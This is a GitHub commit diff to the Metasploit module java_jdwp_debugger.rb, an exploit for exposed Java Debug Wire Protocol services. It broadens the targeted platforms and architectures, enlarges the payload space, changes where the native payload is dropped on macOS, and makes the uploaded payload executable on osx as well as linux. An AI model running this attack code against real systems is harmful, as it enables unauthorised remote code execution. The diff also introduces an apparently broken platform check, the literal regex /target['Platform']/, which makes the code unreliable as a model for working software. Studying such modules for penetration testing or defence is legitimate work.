Skip to content

Commit 1289492

Browse files
author
Brent Cook
committed
more osx
1 parent bb12096 commit 1289492

File tree

1 file changed

+9
-21
lines changed

1 file changed

+9
-21
lines changed

modules/exploits/multi/misc/java_jdwp_debugger.rb

Lines changed: 9 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -91,31 +91,19 @@ def initialize
9191
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
9292
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
9393
],
94-
'Platform' => %w{ linux win osx },
95-
'Arch' => [ARCH_X86, ARCH_X64],
94+
'Platform' => %w{ linux osx win },
95+
'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
9696
'Payload' =>
9797
{
98-
'Space' => 2048,
98+
'Space' => 10000000,
9999
'BadChars' => '',
100100
'DisableNops' => true
101101
},
102102
'Targets' =>
103103
[
104-
[ 'Linux (Native Payload)',
105-
{
106-
'Platform' => 'linux'
107-
}
108-
],
109-
[ 'macOS (Native Payload)',
110-
{
111-
'Platform' => 'osx'
112-
}
113-
],
114-
[ 'Windows (Native Payload)',
115-
{
116-
'Platform' => 'win'
117-
}
118-
]
104+
[ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],
105+
[ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],
106+
[ 'Windows (Native Payload)', { 'Platform' => 'win' } ]
119107
],
120108
'DefaultTarget' => 0,
121109
'License' => MSF_LICENSE,
@@ -686,14 +674,14 @@ def setup_payload
686674
path = temp_path || '/tmp/'
687675
payload_exe = "#{path}#{payload_exe}"
688676
when 'osx'
689-
path = temp_path || '/tmp/'
677+
path = temp_path || '/private/tmp/'
690678
payload_exe = "#{path}#{payload_exe}"
691679
when 'win'
692680
path = temp_path || './'
693681
payload_exe = "#{path}#{payload_exe}.exe"
694682
end
695683

696-
if @os.downcase =~ target['Platform']
684+
if @os.downcase =~ /target['Platform']/
697685
print_warning("#{@os} system detected but using #{target['Platform']} target...")
698686
end
699687

@@ -898,7 +886,7 @@ def exec_payload(thread_id)
898886
close_file(thread_id, file)
899887

900888
# 5b. When linux arch, give execution permissions to file
901-
if target['Platform'] == 'linux'
889+
if target['Platform'] == 'linux' || target['Platform'] == 'osx'
902890
cmd = "chmod +x #{payload_exe}"
903891
execute_command(thread_id, cmd)
904892
end

0 commit comments

Comments
 (0)